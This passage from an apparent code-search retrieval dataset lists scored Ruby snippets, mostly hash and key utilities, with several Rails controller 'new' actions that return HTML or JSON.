"14fd739a92d5978076592a3512e6480e", "score": "0.48300177", "text": "def block_by_hash(_hsh)\n raise NotImplementedError\n end", "title": "" }, { "docid": "c8f3b179c6b496b0d37b9ab7771d5983", "score": "0.4829438", "text": "def []( key )\n\t\t@form[ key.to_s ]\n\tend", "title": "" }, { "docid": "00c00945622fcfe6540a7d7112637670", "score": "0.48281616", "text": "def hvals(key); end", "title": "" }, { "docid": "00c00945622fcfe6540a7d7112637670", "score": "0.48281616", "text": "def hvals(key); end", "title": "" }, { "docid": "7cba737af0a91fd865e606501ca41d18", "score": "0.48238218", "text": "def each(&blk)\n enum = Enumerator.new do |y|\n @converted.each {|k, v| y.yield(k,v) }\n @hash.each {|k,v| y.yield(k, self.move_value(k)) }\n end\n if blk.nil?\n enum\n else\n enum.each do |k,v|\n blk.call(k,v)\n end\n end\n end", "title": "" }, { "docid": "f85eaad0dea5968aee1fad0d6ab7ad70", "score": "0.48114118", "text": "def hash_mapped(hsh, prc, &bloc)\n mapped = Hash.new \n\n hsh.each { |k, v| mapped[bloc.call(k)] = prc.call(v) }\n\n mapped\nend", "title": "" }, { "docid": "9b423464ccd5b8e243ed71d5b054f9fb", "score": "0.4806702", "text": "def each_key_val(io, &block)\n return to_enum(__method__, io) unless block\n each_line(io) do |line|\n line.chomp!\n (key, val) = line.split('=',2)\n block.call( [key, (val=='' ? nil : val)] )\n end\n end", "title": "" }, { "docid": "2504e3c7939c84b2f9fd81b0cc1f8e99", "score": "0.48044676", "text": "def map_keys\n @mapped_keys = true\n require 'canis/core/include/listbindings'\n bindings\n=begin\n bind_key([?g,?g], 'goto_start'){ goto_start } # mapping double keys like vim\n bind_key(279, 'goto_start'){ goto_start }\n bind_keys([?G,277], 'goto end'){ goto_end }\n bind_keys([?k,KEY_UP], \"Up\"){ up }\n bind_keys([?j,KEY_DOWN], \"Down\"){ down }\n bind_key(?\\C-e, \"Scroll Window Down\"){ scroll_window_down }\n bind_key(?\\C-y, \"Scroll Window Up\"){ scroll_window_up }\n bind_keys([32,338, ?\\C-d], \"Scroll Forward\"){ scroll_forward }\n # adding CTRL_SPACE as back scroll 2014-04-14\n bind_keys([0,?\\C-b,339], \"Scroll Backward\"){ scroll_backward }\n # the next one invalidates the single-quote binding for bookmarks\n #bind_key([?',?']){ goto_last_position } # vim , goto last row position (not column)\n bind_key(?/, :ask_search)\n bind_key(?n, :find_more)\n bind_key([?\\C-x, ?>], :scroll_right)\n bind_key([?\\C-x, ?<], :scroll_left)\n bind_key(?\\M-l, :scroll_right)\n bind_key(?\\M-h, :scroll_left)\n bind_key(?L, :bottom_of_window)\n bind_key(?M, :middle_of_window)\n bind_key(?H, :top_of_window)\n bind_key(?w, :forward_word)\n bind_key(?b, :backward_word)\n bind_key(?l, :cursor_forward)\n bind_key(?h, :cursor_backward)\n bind_key(?$, :cursor_eol)\n bind_key(KEY_ENTER, :fire_action_event)\n=end\n end", "title": "" }, { "docid": "0c5b30b525d491e8b4c198d56c8f7448", "score": "0.48004168", "text": "def [](key); send(key); end", "title": "" }, { "docid": "b6154332ced43eba8f0e1cc7f1526aac", "score": "0.47942105", "text": "def test_options_recognized\n block_ = ::Proc.new do\n set_value(:a, 1)\n end\n hash_ = ::Hash.new\n assert_raise(::Blockenspiel::BlockParameterError) do\n ::Blockenspiel.invoke(block_, :parameterless => false) do\n add_method(:set_value) do |key_, value_|\n hash_[key_] = value_\n end\n end\n end\n end", "title": "" }, { "docid": "c0b048bcbd74eecc861d8fa7133cab02", "score": "0.47935864", "text": "def each(&block)\r\n fail \"Forbidden operation\" if @char_set.default\r\n\r\n if block_given?\r\n @char_set.each do |key, value|\r\n block.call(key) if value\r\n end\r\n else\r\n self.to_enum(:each)\r\n end\r\n end", "title": "" }, { "docid": "ec6e243faff250feeba033e58eed7574", "score": "0.47921395", "text": "def get key; call key; end", "title": "" }, { "docid": "4cc1bcc18741cb17e72fe4a5a37944b0", "score": "0.4791145", "text": "def each(&block)\n self.keys.each{|k| block.call([k, self[k]])}\n self\n end", "title": "" }, { "docid": "347ba5f09dc7dd9810bdaab7c6a9a617", "score": "0.479094", "text": "def process_key keycode, object\n return _process_key keycode, object, @window\n end", "title": "" }, { "docid": "e1b5a6f3ff49d3f3388334105a25a193", "score": "0.47878727", "text": "def shared_keyboard_and_mouse_event_init_keys\n shared_keyboard_and_mouse_event_init_keys ||= alternative_key_names.map do |key_grp| \n if @dom_3_attrs.include?(correct_key = key_grp.last) \n correct_key\n else\n \"keyModifierState#{correct_key}\".to_sym\n end\n end\n end", "title": "" }, { "docid": "90614a6dd93faa090a044f730603dcb2", "score": "0.47787642", "text": "def test_mod_with_proc_and_no_return\n @hash_builder.values_mod = Proc.new {|element| (element.to_i * 2).to_s}\n expected = {'one' => '2', 'two' => '4', 'three' => '6'}\n map = @hash_builder.hash\n assert_equal(expected, map)\n end", "title": "" }, { "docid": "d516d2e69800f891b17fc58e2d133383", "score": "0.47766924", "text": "def mapped_mget(*keys); end", "title": "" }, { "docid": "3d64b48684c32c52417ac655bfc3fda5", "score": "0.47759217", "text": "def hash_mapped(hash, prc1, &prc2)\n return_hash = Hash.new(0)\n\n hash.each do |k,v|\n return_hash[prc2.call(k)] = prc1.call(v)\n end\n return_hash\nend", "title": "" }, { "docid": "e3923ad77b7e04d123dac1663330bd44", "score": "0.4771397", "text": "def shared_keyboard_and_mouse_event_init_key(key_name)\n key_group = alternative_key_names.find {|key_grp| /^(#{key_grp.join('|')})$/i =~ key_name.to_s }\n if key_group\n if @dom_3_attrs.include?(correct_key = key_group.last)\n correct_key \n else\n \"keyModifierState#{correct_key}\".to_sym\n end\n end\n end", "title": "" }, { "docid": "5013b72b1480a222ed157b98eb6a4526", "score": "0.4769508", "text": "def keyboard_block_dictation\n return @keyboard_block_dictation\n end", "title": "" }, { "docid": "e98a4d29b86c74c2e4dd73ff359db748", "score": "0.4765331", "text": "def _rl_dispatch(key, map)\r\n @_rl_dispatching_keymap = map\r\n return _rl_dispatch_subseq(key, map, false)\r\n end", "title": "" }, { "docid": "6713d759280d138e8a2602735dace3ac", "score": "0.4764161", "text": "def keypair; end", "title": "" }, { "docid": "6713d759280d138e8a2602735dace3ac", "score": "0.4764161", "text": "def keypair; end", "title": "" }, { "docid": "6713d759280d138e8a2602735dace3ac", "score": "0.4764161", "text": "def keypair; end", "title": "" } ]
2df4015b2c48f5e6d6e1a7d413da5531
GET /card_texts/new GET /card_texts/new.json
[ { "docid": "d0038253f5c57c926f7710bb3b58493f", "score": "0.81074023", "text": "def new\n @card_text = CardText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card_text }\n end\n end", "title": "" } ]
[ { "docid": "bc629193749bb7156c94ec9659552e77", "score": "0.7667167", "text": "def new\n @text = Text.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text }\n end\n end", "title": "" }, { "docid": "bc629193749bb7156c94ec9659552e77", "score": "0.7667167", "text": "def new\n @text = Text.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text }\n end\n end", "title": "" }, { "docid": "bc629193749bb7156c94ec9659552e77", "score": "0.7667167", "text": "def new\n @text = Text.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text }\n end\n end", "title": "" }, { "docid": "3420e9a410fc094da6ad019d232c024f", "score": "0.7495059", "text": "def new\n @textdesc = Textdesc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @textdesc }\n end\n end", "title": "" }, { "docid": "5b73ce32c43f50d6c91616340143c357", "score": "0.74701804", "text": "def create\n @card_text = CardText.new(params[:card_text])\n\n respond_to do |format|\n if @card_text.save\n format.html { redirect_to @card_text, notice: 'Card text was successfully created.' }\n format.json { render json: @card_text, status: :created, location: @card_text }\n else\n format.html { render action: \"new\" }\n format.json { render json: @card_text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fb9740aefddaa8319a5ec1f795a4538", "score": "0.7195099", "text": "def new\n @user_id = current_user.id\n @text = Text.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text }\n end\n end", "title": "" }, { "docid": "ecceba722cc16f769b2e0a5523842f38", "score": "0.7187557", "text": "def new\n @text_message = TextMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_message }\n end\n end", "title": "" }, { "docid": "4b69b9ca732eb7990db00e3575f8f923", "score": "0.716743", "text": "def new\n @text_model = TextModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_model }\n end\n end", "title": "" }, { "docid": "aa05fc53b1e26677fd7732cf80b38b55", "score": "0.7147887", "text": "def new\n @title = t('view.cards.new_title')\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "6b0c9af5875a0d8a06e6a176c0cb5a9c", "score": "0.71439016", "text": "def new\n @licenses = License.all\n @text = Text.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @text }\n end\n end", "title": "" }, { "docid": "14640b6aeef45a7d5f31f6c9e634a3ef", "score": "0.7032386", "text": "def new\n @text_snippet = TextSnippet.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_snippet }\n end\n end", "title": "" }, { "docid": "c7c04b64d4c90271a819979fcd13e0a4", "score": "0.6997396", "text": "def new\n @text_source = TextSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_source }\n end\n end", "title": "" }, { "docid": "0e08725edeba5d4bf1a4f1e69b0b6654", "score": "0.6996231", "text": "def new\n @reply_text = current_user.reply_texts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply_text }\n end\n end", "title": "" }, { "docid": "a1f0f2b978aebc13eb0c1860d2a87dff", "score": "0.69834965", "text": "def new\n @game_text = GameText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game_text }\n end\n end", "title": "" }, { "docid": "f9449660495a4c971e8914de718547d7", "score": "0.69061756", "text": "def create\n render json: Text.create(params[\"text\"])\n end", "title": "" }, { "docid": "a98a717b070f7507c84f8249aaca69f9", "score": "0.6873285", "text": "def new\n @phrase = Phrase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @phrase }\n end\n end", "title": "" }, { "docid": "a98a717b070f7507c84f8249aaca69f9", "score": "0.6873285", "text": "def new\n @phrase = Phrase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @phrase }\n end\n end", "title": "" }, { "docid": "23a3911f9dd3f5b5440e28516d8e1166", "score": "0.682931", "text": "def new\n @card_template = CardTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card_template }\n end\n end", "title": "" }, { "docid": "1e0c5ab8fd0ad0701ffc3f6c18e23ea7", "score": "0.6808582", "text": "def new\n @text_resource = @project.text_resources.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_resource }\n end\n end", "title": "" }, { "docid": "e67c7822e8698dc4a95f75f81ef7fb2f", "score": "0.67898804", "text": "def new\n @text = Text.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @text }\n end\n end", "title": "" }, { "docid": "b6dd44b284c4ede21477c355daac8602", "score": "0.67485106", "text": "def new\n @text_stat = TextStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_stat }\n end\n end", "title": "" }, { "docid": "79f443a79134cfef4094a3c92366fbc5", "score": "0.6741939", "text": "def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sentence }\n end\n end", "title": "" }, { "docid": "96b9ddc6725c394a4a2a77b7651cc8dc", "score": "0.6736102", "text": "def new\n @ein_text = EinText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ein_text }\n end\n end", "title": "" }, { "docid": "87222d73f2b102e76b27480f5aef0c68", "score": "0.6736058", "text": "def new\n @textpage = Textpage.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "title": "" }, { "docid": "836b0e00f9195a26929747ce3388208b", "score": "0.67010844", "text": "def new\n @text_blast = TextBlast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_blast }\n end\n end", "title": "" }, { "docid": "939dbc90ba6b62c2d709ac3a9fc8747f", "score": "0.6694287", "text": "def new\n @temptext = Temptext.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @temptext }\n end\n end", "title": "" }, { "docid": "6b6131379533ab77bda5e0d4ad80b004", "score": "0.6684419", "text": "def new\n @survey_text = SurveyText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_text }\n end\n end", "title": "" }, { "docid": "d53a4548dc2abac152242add35114bef", "score": "0.66532964", "text": "def new\n @constant_text = ConstantText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @constant_text }\n end\n end", "title": "" }, { "docid": "3cb9a55df4401eca56e02d68cdd4ec5e", "score": "0.66473913", "text": "def new\n @smstext = Smstext.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @smstext }\n end\n end", "title": "" }, { "docid": "6344aca00fc01096da6db9fb1e97f54a", "score": "0.66385484", "text": "def new\n @txtinfo = Txtinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @txtinfo }\n end\n end", "title": "" }, { "docid": "ea7efc752082b5bfc2473d479a0bbcb5", "score": "0.66379714", "text": "def new\n @talk = Talk.new(length: 10, prepare: 'N/A')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @talk }\n end\n end", "title": "" }, { "docid": "35e5ba6de990637f5059eb4711e153c7", "score": "0.6631832", "text": "def create\n @text = Text.new(params[:text])\n respond_to do |format|\n if @text.save\n format.html { redirect_to @text, notice: 'Text was successfully created.' }\n format.json { render json: @text, status: :created, location: @text }\n else\n format.html { render action: \"new\" }\n format.json { render json: @text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95219740de71c73e0643e1b301e2d8a2", "score": "0.6608103", "text": "def create\n @text = Text.new(text_params)\n\n respond_to do |format|\n if @text.save\n format.html { redirect_to @text, notice: t(:successful_created, scope: :texts) }\n format.json { render :show, status: :created, location: @text }\n else\n format.html { render :new }\n format.json { render json: @text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e16683c1dff6fc265ce5b02d4efc44f6", "score": "0.65854174", "text": "def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "e8959476b888d609ee94c9808d696bd7", "score": "0.6560823", "text": "def new\n @richtext = Richtext.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @richtext }\n end\n end", "title": "" }, { "docid": "29d7a1dbd0c5b8eeef4864b205a49492", "score": "0.65549356", "text": "def create\n @text = Text.new(text_params)\n if @text.save!\n render json: @text\n else\n flash.now[:errors] = @text.errors.full_messages\n render json: @text\n end\n end", "title": "" }, { "docid": "edc6bd2e4a74df040f6b17a0a1bde239", "score": "0.65290624", "text": "def create\n authorize! :manage, CourseText\n @course_text = @course.course_texts.new(course_text_params)\n\n respond_to do |format|\n if @course_text.save\n format.html { redirect_to course_course_texts_path(@course), notice: 'Course text was successfully created.' }\n format.json { render :show, status: :created, location: @course_text }\n else\n format.html { render :new }\n format.json { render json: @course_text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "68c769f9ee35658737bca2ab5838214c", "score": "0.6512897", "text": "def new\n @textbook = Textbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @textbook }\n end\n end", "title": "" }, { "docid": "a9d9ece7cdc3f4fb71c2403ed13f004c", "score": "0.6497952", "text": "def new\n\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "c9271b901160dcec7c249ecbc9987452", "score": "0.6494274", "text": "def create\n @text = Text.new(params[:text])\n\n respond_to do |format|\n if @text.save\n format.html { redirect_to @text, notice: 'Yeah, Square was successfully created.'}\n format.json { render json: @text, status: :created, location: @text }\n else\n format.html { render action: \"new\" }\n format.json { render json: @text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43c61cf2c3451c299c9f8edc7199b549", "score": "0.647915", "text": "def create\n @textdesc = Textdesc.new(params[:textdesc])\n\n respond_to do |format|\n if @textdesc.save\n format.html { redirect_to @textdesc, notice: 'Textdesc was successfully created.' }\n format.json { render json: @textdesc, status: :created, location: @textdesc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @textdesc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "973a205b7d2f7b6d18b0bb25274a7153", "score": "0.64734596", "text": "def new\n @helptext = Helptext.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @helptext }\n end\n end", "title": "" }, { "docid": "cb4a072f635c88f19ce4f2ca47588f1c", "score": "0.64729255", "text": "def new\n @content = Text.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "title": "" }, { "docid": "e4824c766f28c052534e7b7a9ddb92ad", "score": "0.64524776", "text": "def create\n @licenses = License.all\n @text = Text.create(params[:text])\n\n respond_to do |format|\n if @text.save\n format.html { redirect_to texts_url, :notice => 'Successfully created' }\n format.json { render :json => @text, :status => :created, :location => @text }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @text.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78bc3d296b3d8f9d208df2c29d400304", "score": "0.64519596", "text": "def new\n @note_phrase = NotePhrase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note_phrase }\n end\n end", "title": "" }, { "docid": "f0439be0b928bcf0d23a7177587929b5", "score": "0.64512175", "text": "def new\n @timecard = Timecard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timecard }\n end\n end", "title": "" }, { "docid": "dd1b466dfd38a3ab9d452a2f49d0b10d", "score": "0.6439924", "text": "def new\n @texte_de_chat = TexteDeChat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @texte_de_chat }\n end\n end", "title": "" }, { "docid": "ce0fc92768aa23dddd2877170f271e36", "score": "0.64325947", "text": "def create\n @text = Text.new(text_params)\n\n respond_to do |format|\n if @text.save\n format.json { render :show, status: :created, location: api_text_url(@text) }\n else\n format.json { render json: @text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "66cf28b7330cc3e9ec74c33dfeb8de79", "score": "0.6427007", "text": "def new\n @translation = Translation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @translation }\n end\n end", "title": "" }, { "docid": "66cf28b7330cc3e9ec74c33dfeb8de79", "score": "0.6427007", "text": "def new\n @translation = Translation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @translation }\n end\n end", "title": "" }, { "docid": "383b3e2e8695e5354455a938ffb6b00a", "score": "0.6400661", "text": "def create\n @title = t('view.cards.new_title')\n @card = Card.new(params[:card])\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: t('view.cards.correctly_created') }\n format.json { render json: @card, status: :created, location: @card }\n else\n format.html { render action: 'new' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d89d88dcb488b2acf0e3af27a9893512", "score": "0.63921374", "text": "def new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: ''}\n end\n end", "title": "" }, { "docid": "8ee462f657bfc1adb5d8d88d18a6c461", "score": "0.638593", "text": "def new\n @languagestring = Languagestring.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @languagestring }\n end\n end", "title": "" }, { "docid": "a2deb1ce89db791ae56ef09fa73d59b1", "score": "0.6382413", "text": "def new\n #@card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @card }\n end\n end", "title": "" }, { "docid": "63b173253ae58cc1f13dbbcf7878ec73", "score": "0.638154", "text": "def new\n @paragraph = Paragraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paragraph }\n end\n end", "title": "" }, { "docid": "275a2715c4f0eedc6f4a410078a20c1a", "score": "0.63770974", "text": "def new\n @text_verizon = TextVerizon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_verizon }\n end\n end", "title": "" }, { "docid": "9dd7ca5de88945b2a80dddadba22cc07", "score": "0.6370089", "text": "def new\n @breadcrumb = 'create'\n @contract_template_term = ContractTemplateTerm.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract_template_terms }\n end\n end", "title": "" }, { "docid": "55803f4c91db35aadf39ca316dd86f6d", "score": "0.63681906", "text": "def new\n @logtext = Logtext.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @logtext }\n end\n end", "title": "" }, { "docid": "1bcda0ac884e0c4fbf5142aca8040dc0", "score": "0.63595545", "text": "def new\n @noun = Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @noun }\n end\n end", "title": "" }, { "docid": "88572bd8b295cbb621364f0849a8697d", "score": "0.63581204", "text": "def new\n @title = t('view.replies.new_title')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply }\n end\n end", "title": "" }, { "docid": "21389cc8999748460367e5cbb8f38093", "score": "0.63553613", "text": "def new\n @decription = Decription.new\n\n render json: @description\n end", "title": "" }, { "docid": "b79d1bd827a703ea288d18dd6d4eac3e", "score": "0.635226", "text": "def new\n @citation_template = CitationTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @citation_template }\n end\n end", "title": "" }, { "docid": "275d01cfa31c011cdf8e1a23c3cf8276", "score": "0.63485456", "text": "def new\n @example_sentence = ExampleSentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @example_sentence }\n end\n end", "title": "" }, { "docid": "aaded9a32550e08058b01f862958e869", "score": "0.6337004", "text": "def new\n @post = Post.new\n @headline = t(:new_post)\n \n initialize_post\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "4ac040916530e7c8aec5e4e093496d44", "score": "0.63343066", "text": "def new\n @passage = Passage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @passage }\n end\n end", "title": "" }, { "docid": "52ba534af7e1647e475831678508f02b", "score": "0.63107455", "text": "def new\n @mtg_card = MtgCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mtg_card }\n end\n end", "title": "" }, { "docid": "532ac7f45c5b9c1b62cf440440677752", "score": "0.6301744", "text": "def new\n @carddetail = Carddetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carddetail }\n end\n end", "title": "" }, { "docid": "5b30b0d106e68007332bf0eb5bfd6599", "score": "0.6299003", "text": "def new\n @text_question = @base_question.text_questions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_question }\n end\n end", "title": "" }, { "docid": "04cb9bea90e0d7933c22f868d18e096d", "score": "0.6293631", "text": "def new\n @card_font_color = CardFontColor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card_font_color }\n end\n end", "title": "" }, { "docid": "9da2aeef5be879e36ce838dcc81ecdc4", "score": "0.6286084", "text": "def new\n @title = t 'view.replies.new_title'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply }\n end\n end", "title": "" }, { "docid": "ee568a2daa6236cdf03bf43964803099", "score": "0.6283603", "text": "def new\n @title = t('view.contents.new_title')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "title": "" }, { "docid": "2e124c135a9835eccfee1e9150418ad7", "score": "0.627603", "text": "def new\n @title = t('view.advances.new_title')\n @advance = Advance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advance }\n end\n end", "title": "" }, { "docid": "d737a0481448f67c4050902f4c3302f4", "score": "0.62730473", "text": "def new\n @desc = Desc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @desc }\n end\n end", "title": "" }, { "docid": "33207d39e41f687bcc3ef33a4d2aeb85", "score": "0.6271102", "text": "def create\n @game_text = GameText.new(params[:game_text])\n\n respond_to do |format|\n if @game_text.save\n format.html { redirect_to @game_text, notice: 'Game text was successfully created.' }\n format.json { render json: @game_text, status: :created, location: @game_text }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game_text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "69c301ea00bc7759235994a2a0b027b4", "score": "0.6260524", "text": "def new\n @translator = Translator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @translator }\n end\n end", "title": "" }, { "docid": "0f922736537e3afe61059e2e5f9c3d4b", "score": "0.6260171", "text": "def new\n @page_text = PageText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_text }\n end\n end", "title": "" }, { "docid": "b161de3a23d61bdfa8e1982b4c326dd8", "score": "0.62594813", "text": "def new\n @matter = Matter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @matter }\n end\n end", "title": "" }, { "docid": "b161de3a23d61bdfa8e1982b4c326dd8", "score": "0.62594813", "text": "def new\n @matter = Matter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @matter }\n end\n end", "title": "" }, { "docid": "09bf2381d21331fedf25e7bd710a5787", "score": "0.6259269", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transcription_factor }\n end\n end", "title": "" }, { "docid": "cf37e405232837c2a5b6c25bb7359463", "score": "0.6253509", "text": "def create\n @text = Text.new(text_params)\n\n respond_to do |format|\n if @text.save\n format.html { redirect_to user_collection_path(@user, @collection), notice: 'Text was successfully created.' }\n format.json { render :show, status: :created, location: @text }\n else\n format.html { render :new }\n format.json { render json: @text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0334ba69ea72432925bc6e98437223a", "score": "0.62525564", "text": "def new\n @template_text = TemplateText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_text }\n end\n end", "title": "" }, { "docid": "312da0523f0689b3a3621a3f5dc2b840", "score": "0.62512344", "text": "def new\n @corpus_neutral = CorpusNeutral.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @corpus_neutral }\n end\n end", "title": "" }, { "docid": "eada1c87c2be7b628d3f977307b37932", "score": "0.6246488", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "eada1c87c2be7b628d3f977307b37932", "score": "0.6246488", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "eada1c87c2be7b628d3f977307b37932", "score": "0.6246488", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "eada1c87c2be7b628d3f977307b37932", "score": "0.6246488", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "eada1c87c2be7b628d3f977307b37932", "score": "0.6246488", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "eada1c87c2be7b628d3f977307b37932", "score": "0.6246488", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "799bd48ebce0c674ffafd5c9a875b1da", "score": "0.62451637", "text": "def new\r\n\r\n drop_breadcrumb('新增')\r\n \r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @card_no }\r\n end\r\n end", "title": "" }, { "docid": "2727419a90256465b601e0772d5bf206", "score": "0.62302643", "text": "def new\n @char = Char.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @char }\n end\n end", "title": "" }, { "docid": "091176364a08bf059382bbcaefc8b310", "score": "0.6218667", "text": "def new\n @card = 